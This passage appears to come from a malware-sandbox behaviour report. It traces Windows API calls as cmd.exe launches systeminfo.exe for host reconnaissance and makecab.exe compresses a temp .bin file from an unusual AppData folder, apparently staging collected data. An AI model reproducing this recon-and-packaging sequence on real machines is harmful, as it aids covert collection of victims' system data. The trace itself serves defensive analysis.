[0098.710] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0098.710] GetProcessHeap () returned 0x350000 [0098.710] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364650 | out: hHeap=0x350000) returned 1 [0098.710] GetProcessHeap () returned 0x350000 [0098.710] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x12) returned 0x36d0b0 [0098.710] lstrcmpW (lpString1="\\systeminfo.exe", lpString2="\\XCOPY.EXE") returned -1 [0098.711] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\systeminfo.exe", lpCommandLine="systeminfo.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x18f110*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="systeminfo.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f0c0 | out: lpCommandLine="systeminfo.exe ", lpProcessInformation=0x18f0c0*(hProcess=0x58, hThread=0x54, dwProcessId=0x984, dwThreadId=0x98c)) returned 1 [0098.811] CloseHandle (hObject=0x54) returned 1 [0098.811] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0098.811] GetProcessHeap () returned 0x350000 [0098.811] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bc70 | out: hHeap=0x350000) returned 1 [0098.811] GetEnvironmentStringsW () returned 0x36bc70* [0098.811] GetProcessHeap () returned 0x350000 [0098.812] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xac0) returned 0x369ab0 [0098.812] FreeEnvironmentStringsW (penv=0x36bc70) returned 1 [0098.812] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0126.108] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x18f008 | out: lpExitCode=0x18f008*=0x0) returned 1 [0126.109] CloseHandle (hObject=0x58) returned 1 [0126.109] _vsnwprintf (in: _Buffer=0x18f278, _BufferCount=0x13, _Format="%08X", _ArgList=0x18f018 | out: _Buffer="00000000") returned 8 [0126.109] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0126.109] GetProcessHeap () returned 0x350000 [0126.109] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369ab0 | out: hHeap=0x350000) returned 1 [0126.109] GetEnvironmentStringsW () returned 0x369ab0* [0126.109] GetProcessHeap () returned 0x350000 [0126.109] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xae6) returned 0x37a7d0 [0126.109] FreeEnvironmentStringsW (penv=0x369ab0) returned 1 [0126.109] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0126.109] GetProcessHeap () returned 0x350000 [0126.110] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x37a7d0 | out: hHeap=0x350000) returned 1 [0126.110] GetEnvironmentStringsW () returned 0x369ab0* [0126.110] GetProcessHeap () returned 0x350000 [0126.110] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xae6) returned 0x37a7d0 [0126.110] FreeEnvironmentStringsW (penv=0x369ab0) returned 1 [0126.110] GetProcessHeap () returned 0x350000 [0126.110] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d0b0 | out: hHeap=0x350000) returned 1 [0126.110] DeleteProcThreadAttributeList (in: lpAttributeList=0x18f0d8 | out: lpAttributeList=0x18f0d8) [0126.110] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0126.111] _close (_FileHandle=3) returned 0 [0126.111] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.112] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0126.112] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.112] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a46e194 | out: lpMode=0x4a46e194) returned 1 [0126.112] _get_osfhandle (_FileHandle=0) returned 0x3 [0126.112] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a46e198 | out: lpMode=0x4a46e198) returned 1 [0126.112] SetConsoleInputExeNameW () returned 0x1 [0126.112] GetConsoleOutputCP () returned 0x1b5 [0126.112] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a47bfe0 | out: lpCPInfo=0x4a47bfe0) returned 1 [0126.112] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.112] exit (_Code=0) Process: id = "14" image_name = "systeminfo.exe" filename = "c:\\windows\\system32\\systeminfo.exe" page_root = "0x3f54c000" os_pid = "0x984" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x86c" cmd_line = "systeminfo.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 229 os_tid = 0x98c Thread: id = 231 os_tid = 0x97c Thread: id = 232 os_tid = 0x988 Thread: id = 233 os_tid = 0x9dc Thread: id = 234 os_tid = 0x998 Process: id = "15" image_name = "makecab.exe" filename = "c:\\windows\\system32\\makecab.exe" page_root = "0x7699000" os_pid = "0xa04" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "makecab.exe /F \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin\"" cur_dir = "C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 241 os_tid = 0x93c [0101.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffac0 | out: lpSystemTimeAsFileTime=0x1ffac0*(dwLowDateTime=0xe54fcd10, dwHighDateTime=0x1d51ed4)) [0101.570] GetCurrentProcessId () returned 0xa04 [0101.570] GetCurrentThreadId () returned 0x93c [0101.570] GetTickCount () returned 0x263ff [0101.570] QueryPerformanceCounter (in: lpPerformanceCount=0x1ffac8 | out: lpPerformanceCount=0x1ffac8*=22609508610) returned 1 [0101.572] GetModuleHandleW (lpModuleName=0x0) returned 0xff3e0000 [0101.572] __set_app_type (_Type=0x1) [0101.572] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3f90b0) returned 0x0 [0101.572] __getmainargs (in: _Argc=0xff3fc3a8, _Argv=0xff3fc3b8, _Env=0xff3fc3b0, _DoWildCard=0, _StartInfo=0xff3fc3c4 | out: _Argc=0xff3fc3a8, _Argv=0xff3fc3b8, _Env=0xff3fc3b0) returned 0 [0101.572] GetVersion () returned 0x1db10106 [0101.572] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x77040000 [0101.608] GetProcAddress (hModule=0x77040000, lpProcName="HeapSetInformation") returned 0x7705c4a0 [0101.608] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0101.628] setvbuf (in: _File=0x7fefd702ab0, _Buf=0x0, _Mode=4, _Size=0x0 | out: _File=0x7fefd702ab0, _Buf=0x0) returned 0 [0101.628] setvbuf (in: _File=0x7fefd702ae0, _Buf=0x0, _Mode=4, _Size=0x0 | out: _File=0x7fefd702ae0, _Buf=0x0) returned 0 [0101.628] malloc (_Size=0xc48) returned 0x325f30 [0101.641] printf (_Format="%s") returned 48 [0101.658] malloc (_Size=0x10) returned 0x20dfa0 [0101.659] atoi (_Str="1") returned 1 [0101.659] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="Cabinet") returned 7 [0101.659] atoi (_Str="1") returned 1 [0101.659] malloc (_Size=0x38) returned 0x326b80 [0101.660] _strcmpi (_Str1="On", _Str2="No") returned 1 [0101.660] _strcmpi (_Str1="On", _Str2="Off") returned 8 [0101.660] _strcmpi (_Str1="On", _Str2="False") returned 9 [0101.660] _strcmpi (_Str1="On", _Str2="Yes") returned -10 [0101.660] _strcmpi (_Str1="On", _Str2="On") returned 0 [0101.660] _strcmpi (_Str1="Cabinet", _Str2="CabinetFileCountThreshold") returned -102 [0101.660] atoi (_Str="1") returned 1 [0101.660] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="CabinetFileCountThreshold") returned 25 [0101.660] atoi (_Str="1") returned 1 [0101.660] malloc (_Size=0x38) returned 0x326c00 [0101.660] _strcmpi (_Str1="Cabinet", _Str2="CabinetNameTemplate") returned -110 [0101.660] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetNameTemplate") returned -8 [0101.660] atoi (_Str="1") returned 1 [0101.660] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="CabinetNameTemplate") returned 19 [0101.660] atoi (_Str="1") returned 1 [0101.660] malloc (_Size=0x38) returned 0x326c90 [0101.660] _strcmpi (_Str1="Cabinet", _Str2="ChecksumWidth") returned -7 [0101.660] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ChecksumWidth") returned -7 [0101.660] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ChecksumWidth") returned -7 [0101.660] atoi (_Str="1") returned 1 [0101.661] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="ChecksumWidth") returned 13 [0101.661] atoi (_Str="1") returned 1 [0101.661] malloc (_Size=0x38) returned 0x326d10 [0101.661] atoi (_Str="8") returned 8 [0101.661] atoi (_Str="1") returned 1 [0101.661] atoi (_Str="8") returned 8 [0101.661] _strcmpi (_Str1="Cabinet", _Str2="ClusterSize") returned -11 [0101.661] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ClusterSize") returned -11 [0101.661] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ClusterSize") returned -11 [0101.661] _strcmpi (_Str1="ChecksumWidth", _Str2="ClusterSize") returned -4 [0101.661] atoi (_Str="1") returned 1 [0101.661] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="ClusterSize") returned 11 [0101.661] atoi (_Str="1") returned 1 [0101.661] malloc (_Size=0x38) returned 0x326d90 [0101.661] _strcmpi (_Str1="1.44M", _Str2="360K") returned -2 [0101.661] atol (_Str="362496") returned 362496 [0101.661] atol (_Str="1.44M") returned 1 [0101.661] _strcmpi (_Str1="1.44M", _Str2="720K") returned -6 [0101.661] atol (_Str="730112") returned 730112 [0101.661] atol (_Str="1.44M") returned 1 [0101.661] _strcmpi (_Str1="1.44M", _Str2="1.2M") returned 2 [0101.661] atol (_Str="1213952") returned 1213952 [0101.661] atol (_Str="1.44M") returned 1 [0101.661] _strcmpi (_Str1="1.44M", _Str2="1.25M") returned 2 [0101.661] atol (_Str="1250304") returned 1250304 [0101.661] atol (_Str="1.44M") returned 1 [0101.661] _strcmpi (_Str1="1.44M", _Str2="1.44M") returned 0 [0101.661] _strcmpi (_Str1="Cabinet", _Str2="Compress") returned -14 [0101.661] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Compress") returned -14 [0101.662] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Compress") returned -14 [0101.662] _strcmpi (_Str1="ChecksumWidth", _Str2="Compress") returned -7 [0101.662] _strcmpi (_Str1="ClusterSize", _Str2="Compress") returned -3 [0101.662] atoi (_Str="1") returned 1 [0101.662] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="Compress") returned 8 [0101.662] atoi (_Str="1") returned 1 [0101.662] malloc (_Size=0x38) returned 0x326e10 [0101.662] _strcmpi (_Str1="On", _Str2="No") returned 1 [0101.662] _strcmpi (_Str1="On", _Str2="Off") returned 8 [0101.662] _strcmpi (_Str1="On", _Str2="False") returned 9 [0101.662] _strcmpi (_Str1="On", _Str2="Yes") returned -10 [0101.662] _strcmpi (_Str1="On", _Str2="On") returned 0 [0101.662] _strcmpi (_Str1="Cabinet", _Str2="CompressedFileExtensionChar") returned -14 [0101.662] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressedFileExtensionChar") returned -14 [0101.662] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressedFileExtensionChar") returned -14 [0101.662] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressedFileExtensionChar") returned -7 [0101.662] _strcmpi (_Str1="ClusterSize", _Str2="CompressedFileExtensionChar") returned -3 [0101.662] _strcmpi (_Str1="Compress", _Str2="CompressedFileExtensionChar") returned -101 [0101.662] atoi (_Str="1") returned 1 [0101.662] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="CompressedFileExtensionChar") returned 27 [0101.662] atoi (_Str="1") returned 1 [0101.662] malloc (_Size=0x38) returned 0x326e90 [0101.662] _strcmpi (_Str1="Cabinet", _Str2="CompressionType") returned -14 [0101.662] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionType") returned -14 [0101.662] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionType") returned -14 [0101.662] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionType") returned -7 [0101.662] _strcmpi (_Str1="ClusterSize", _Str2="CompressionType") returned -3 [0101.662] _strcmpi (_Str1="Compress", _Str2="CompressionType") returned -105 [0101.663] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionType") returned -4 [0101.663] atoi (_Str="1") returned 1 [0101.663] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="CompressionType") returned 15 [0101.663] atoi (_Str="1") returned 1 [0101.663] malloc (_Size=0x38) returned 0x326f20 [0101.663] _strcmpi (_Str1="MSZIP", _Str2="MSZIP") returned 0 [0101.663] _strcmpi (_Str1="Cabinet", _Str2="CompressionLevel") returned -14 [0101.663] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionLevel") returned -14 [0101.663] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionLevel") returned -14 [0101.663] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionLevel") returned -7 [0101.663] _strcmpi (_Str1="ClusterSize", _Str2="CompressionLevel") returned -3 [0101.663] _strcmpi (_Str1="Compress", _Str2="CompressionLevel") returned -105 [0101.663] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionLevel") returned -4 [0101.663] _strcmpi (_Str1="CompressionType", _Str2="CompressionLevel") returned 8 [0101.663] atoi (_Str="1") returned 1 [0101.663] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="CompressionLevel") returned 16 [0101.663] atoi (_Str="1") returned 1 [0101.663] malloc (_Size=0x38) returned 0x325590 [0101.663] atoi (_Str="2") returned 2 [0101.663] atoi (_Str="1") returned 1 [0101.663] atoi (_Str="7") returned 7 [0101.663] _strcmpi (_Str1="Cabinet", _Str2="CompressionMemory") returned -14 [0101.663] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionMemory") returned -14 [0101.663] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionMemory") returned -14 [0101.663] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionMemory") returned -7 [0101.663] _strcmpi (_Str1="ClusterSize", _Str2="CompressionMemory") returned -3 [0101.663] _strcmpi (_Str1="Compress", _Str2="CompressionMemory") returned -105 [0101.663] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionMemory") returned -4 [0101.663] _strcmpi (_Str1="CompressionType", _Str2="CompressionMemory") returned 7 [0101.664] _strcmpi (_Str1="CompressionLevel", _Str2="CompressionMemory") returned -1 [0101.664] atoi (_Str="1") returned 1 [0101.664] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="CompressionMemory") returned 17 [0101.664] atoi (_Str="1") returned 1 [0101.664] malloc (_Size=0x38) returned 0x3255f0 [0101.664] atoi (_Str="18") returned 18 [0101.664] atoi (_Str="10") returned 10 [0101.664] atoi (_Str="21") returned 21 [0101.664] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0101.664] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0101.664] atoi (_Str="1") returned 1 [0101.664] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="DestinationDir") returned 14 [0101.664] atoi (_Str="1") returned 1 [0101.664] malloc (_Size=0x38) returned 0x325670 [0101.664] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectoryTemplate") returned -1 [0101.664] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectoryTemplate") returned -1 [0101.664] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectoryTemplate") returned -1 [0101.664] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectoryTemplate") returned -1 [0101.664] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectoryTemplate") returned -1 [0101.664] _strcmpi (_Str1="Compress", _Str2="DiskDirectoryTemplate") returned -1 [0101.665] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectoryTemplate") returned -1 [0101.665] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectoryTemplate") returned -1 [0101.665] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectoryTemplate") returned -1 [0101.665] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectoryTemplate") returned -1 [0101.665] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectoryTemplate") returned -4 [0101.665] atoi (_Str="1") returned 1 [0101.665] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="DiskDirectoryTemplate") returned 21 [0101.665] atoi (_Str="1") returned 1 [0101.665] malloc (_Size=0x38) returned 0x3256f0 [0101.665] _strcmpi (_Str1="Cabinet", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="ClusterSize", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="Compress", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="CompressionType", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="CompressionLevel", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="CompressionMemory", _Str2="DiskLabelTemplate") returned -1 [0101.665] _strcmpi (_Str1="DestinationDir", _Str2="DiskLabelTemplate") returned -4 [0101.665] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskLabelTemplate") returned -8 [0101.665] atoi (_Str="1") returned 1 [0101.665] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="DiskLabelTemplate") returned 17 [0101.665] atoi (_Str="1") returned 1 [0101.665] malloc (_Size=0x38) returned 0x325770 [0101.665] _strcmpi (_Str1="Cabinet", _Str2="DoNotCopyFiles") returned -1 [0101.665] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DoNotCopyFiles") returned -1 [0101.665] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DoNotCopyFiles") returned -1 [0101.666] _strcmpi (_Str1="ChecksumWidth", _Str2="DoNotCopyFiles") returned -1 [0101.666] _strcmpi (_Str1="ClusterSize", _Str2="DoNotCopyFiles") returned -1 [0101.666] _strcmpi (_Str1="Compress", _Str2="DoNotCopyFiles") returned -1 [0101.666] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DoNotCopyFiles") returned -1 [0101.666] _strcmpi (_Str1="CompressionType", _Str2="DoNotCopyFiles") returned -1 [0101.666] _strcmpi (_Str1="CompressionLevel", _Str2="DoNotCopyFiles") returned -1 [0101.666] _strcmpi (_Str1="CompressionMemory", _Str2="DoNotCopyFiles") returned -1 [0101.666] _strcmpi (_Str1="DestinationDir", _Str2="DoNotCopyFiles") returned -10 [0101.666] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DoNotCopyFiles") returned -6 [0101.666] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DoNotCopyFiles") returned -6 [0101.666] atoi (_Str="1") returned 1 [0101.666] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="DoNotCopyFiles") returned 14 [0101.666] atoi (_Str="1") returned 1 [0101.666] malloc (_Size=0x38) returned 0x3257f0 [0101.666] _strcmpi (_Str1="Off", _Str2="No") returned 1 [0101.666] _strcmpi (_Str1="Off", _Str2="Off") returned 0 [0101.666] _strcmpi (_Str1="Cabinet", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="CabinetNameTemplate", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="ClusterSize", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="Compress", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="CompressionType", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="CompressionLevel", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="CompressionMemory", _Str2="FolderFileCountThreshold") returned -3 [0101.666] _strcmpi (_Str1="DestinationDir", _Str2="FolderFileCountThreshold") returned -2 [0101.666] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderFileCountThreshold") returned -2 [0101.666] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderFileCountThreshold") returned -2 [0101.666] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderFileCountThreshold") returned -2 [0101.666] atoi (_Str="1") returned 1 [0101.667] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="FolderFileCountThreshold") returned 24 [0101.667] atoi (_Str="1") returned 1 [0101.667] malloc (_Size=0x38) returned 0x325870 [0101.667] _strcmpi (_Str1="Cabinet", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="CabinetNameTemplate", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="ClusterSize", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="Compress", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="CompressionType", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="CompressionLevel", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="CompressionMemory", _Str2="FolderSizeThreshold") returned -3 [0101.667] _strcmpi (_Str1="DestinationDir", _Str2="FolderSizeThreshold") returned -2 [0101.667] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderSizeThreshold") returned -2 [0101.667] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderSizeThreshold") returned -2 [0101.667] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderSizeThreshold") returned -2 [0101.667] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="FolderSizeThreshold") returned -13 [0101.667] atoi (_Str="1") returned 1 [0101.667] _vsnprintf (in: _DstBuf=0x1ff290, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff1e8 | out: _DstBuf="FolderSizeThreshold") returned 19 [0101.667] atoi (_Str="1") returned 1 [0101.667] malloc (_Size=0x38) returned 0x325900 [0101.667] _strcmpi (_Str1="Cabinet", _Str2="GenerateInf") returned -4 [0101.667] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="GenerateInf") returned -4 [0101.667] _strcmpi (_Str1="CabinetNameTemplate", _Str2="GenerateInf") returned -4 [0101.667] _strcmpi (_Str1="ChecksumWidth", _Str2="GenerateInf") returned -4 [0101.667] _strcmpi (_Str1="ClusterSize", _Str2="GenerateInf") returned -4 [0101.667] _strcmpi (_Str1="Compress", _Str2="GenerateInf") returned -4 [0101.668] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="GenerateInf") returned -4 [0101.668] _strcmpi (_Str1="CompressionType", _Str2="GenerateInf") returned -4 [0101.668] _strcmpi (_Str1="CompressionLevel", _Str2="GenerateInf") returned -4 [0101.668] _strcmpi (_Str1="CompressionMemory", _Str2="GenerateInf") returned -4 [0101.668] _strcmpi (_Str1="DestinationDir", 